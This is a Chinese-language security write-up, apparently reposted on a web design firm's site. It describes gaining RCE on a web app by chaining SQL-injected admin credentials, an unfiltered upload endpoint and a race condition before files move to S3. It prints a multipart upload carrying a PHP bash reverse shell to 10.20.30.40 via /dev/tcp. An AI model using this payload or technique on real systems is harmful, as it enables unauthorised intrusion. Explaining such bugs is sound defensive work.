利用競爭條件對目標Web應用實現(xiàn)RCE的示例分析，相信很多沒有經驗的人對此束手無策，為此本文總結了問題出現(xiàn)的原因和解決方法，通過這篇文章希望你能解決這個問題。

創(chuàng)新互聯(lián)專業(yè)為企業(yè)提供永昌網站建設、永昌做網站、永昌網站設計、永昌網站制作等企業(yè)網站建設、網頁設計與制作、永昌企業(yè)網站模板建站服務，十多年永昌做網站經驗，不只是建網站，更提供有價值的思路和整體網絡服務。

通過對SQL注入和競爭條件（Race Condition）的組合利用，利用上傳文件到服務器和服務器轉移上傳文件到Amazon S3的時間差，最終實現(xiàn)了對目標應用的RCE漏洞。由于該RCE漏洞的發(fā)現(xiàn)相對獨特，所以下面著重從競爭條件（Race Condition）的觸發(fā)機制說起，和大家分享。

競爭條件（Race Condition）：計算機運行過程中，并發(fā)、無序、大量的進程在使用有限、獨占、不可搶占的資源，由于進程無限，資源有限，產生矛盾，這種矛盾稱為競爭（Race）。競爭條件（Race Condition）旨在描述一個系統(tǒng)或者進程的輸出依賴于不受控制的事件出現(xiàn)順序或者出現(xiàn)時機。由于兩個或者多個進程競爭使用不能被同時訪問的資源，使得這些進程有可能因為時間上推進的先后原因而出現(xiàn)問題。

漏洞詳情

第一個上傳功能點upload.php

這里的前提是，我已經通過SQL注入獲取到了目標Web應用的管理員賬戶憑據，然后登錄到其內部管理界面后，我發(fā)現(xiàn)可通過該管理面板中的upload.php功能發(fā)布新聞或文章：

沒做太多考慮，我就直接通過upload.php嘗試上傳了一個.php文件shell，但問題是該上傳功能限制了對.php格式文件的上傳，在變化.PhP、.php3、phpphp、空字符等形式的繞過方法后，還是不行：

然后，我想到了存儲型XSS，能不能通過上傳 .html、.xml或.svg格式文件呢？這一下上傳總算成功了，但是，由于目標Web應用又會把用戶上傳文件轉儲到云端的S3存儲桶中去，那在S3存儲桶觸發(fā)XSS也沒意義了。好吧，那暫時把這個問題放一邊，來看其它的。

第二個上傳功能點modify.php

在沒有頭緒之時，我又返回管理面板中“news”欄目，想看看能不能在添加或編輯操作中發(fā)現(xiàn)可利用的點。此時，我注意到了“edit”功能，如下在這個非法上傳文件右上端，我點擊了其“edit”按鈕：

然后跳出了以下包含upload to replacing the file的窗口：

我想到的是，它可能也是包含了限制過濾條件吧，但事實是，它沒有任何后綴格式限制條件！可以上傳任意文件！那就上傳吧，如果沒有限制條件的話，那它調用的應該不是之前的upload.php，確實是，它調用了另一上傳功能點“modify.php”，以下是它的調用請求格式：

Content-Disposition: form-data; name="fileid"31337-----------------------------09234599689937136550676151776Content-Disposition: form-data; name="name"picture-1.png-----------------------------09234599689937136550676151776Content-Disposition: form-data; name="description"-----------------------------09234599689937136550676151776Content-Disposition: form-data; name="userfile"; filename="reverse.php"Content-Type: text/php<?phpexec("/bin/bash -c 'bash -i >& /dev/tcp/10.20.30.40/21234 0>&1'");-----------------------------09234599689937136550676151776Content-Disposition: form-data; name="save"Save

大功告成了嗎？并沒有。目標Web應用之后還會把用戶上傳文件轉儲上傳到云端S3存儲桶中去，也就是說，如果被傳到S3中去，在目標Web應用的服務器中，我們也沒shell可反彈了。    

競爭條件（Race Condition）響應錯誤獲得本地文件路徑

此時，毫無頭緒之際，我通過burpsuite的 intruder 模式上傳操作中，發(fā)現(xiàn)了響應長度的異常。有時候需要發(fā)起10個左右的請求，有時候則需要發(fā)起20–30個請求，才會出現(xiàn)這樣的響應異常。正常來說，多數請求的響應長度為1147，但奇怪的是，在其中，會夾雜著長度為1710的響應。如多次上傳空內容的rc.php，其請求樣式為：

以下是正常的長度為1147的響應：

以下則是異常的長度為1710的響應，其中竟然返回了我們上傳的php文件的本地路徑：

本想著，有了這個路徑，那么完全就可以實現(xiàn)監(jiān)聽反彈了，但其實不然。當我通過瀏覽器訪問該上傳php文件后，Web應用返回了“File not Found”的提示，經再次檢查后發(fā)現(xiàn)，該文件路徑已經對應成了S3存儲桶的路徑了，所以，因此我猜測，我們的上傳文件被目標Web應用移動到云端S3之前，在Web應用服務器中保存的時間大概會是短暫的1到2秒。

用競爭條件（Race Condition）反彈Shell并實現(xiàn)RCE

根據以上的時間猜測，我就有一個想法：如果我們從客戶端來觸發(fā)競爭條件，通過瀏覽器反復請求上傳文件路徑，以此來爭取對其的訪問占有權限，這樣的做法是否可行？

也就是：

在我們shell反彈服務器中設置端口監(jiān)聽 -> 上傳我們的反彈shell文件 -> 發(fā)起多個請求執(zhí)行競爭條件 -> 獲取長度異常的響應 -> 從中獲取上傳shell文件路徑并用瀏覽器訪問并不斷刷新（CTRL+R） -> 以這種方式再次讓目標Web應用處于競爭條件下, 我們就占有了對上傳shell文件的繼續(xù)訪問權。

一試，果然行。以下是觸發(fā)反彈shell實現(xiàn)RCE的競爭條件邏輯圖：

nc端監(jiān)聽返回的RCE結果：

看完上述內容，你們掌握利用競爭條件對目標Web應用實現(xiàn)RCE的示例分析的方法了嗎？如果還想學到更多技能或想了解更多相關內容，歡迎關注創(chuàng)新互聯(lián)行業(yè)資訊頻道，感謝各位的閱讀！

網頁名稱：利用競爭條件對目標Web應用實現(xiàn)RCE的示例分析
轉載注明：http://www.chinadenli.net/article34/joijpe.html

成都網站建設公司_創(chuàng)新互聯(lián)，為您提供網站設計、App設計、ChatGPT、Google、軟件開發(fā)、

廣告

聲明：本網站發(fā)布的內容（圖片、視頻和文字）以用戶投稿、用戶轉載內容為主，如果涉及侵權請盡快告知，我們將會在第一時間刪除。文章觀點不代表本網站立場，如需處理請聯(lián)系客服。電話：028-86922220；郵箱：631063699@qq.com。內容未經允許不得轉載，或轉載時需注明來源： 創(chuàng)新互聯(lián)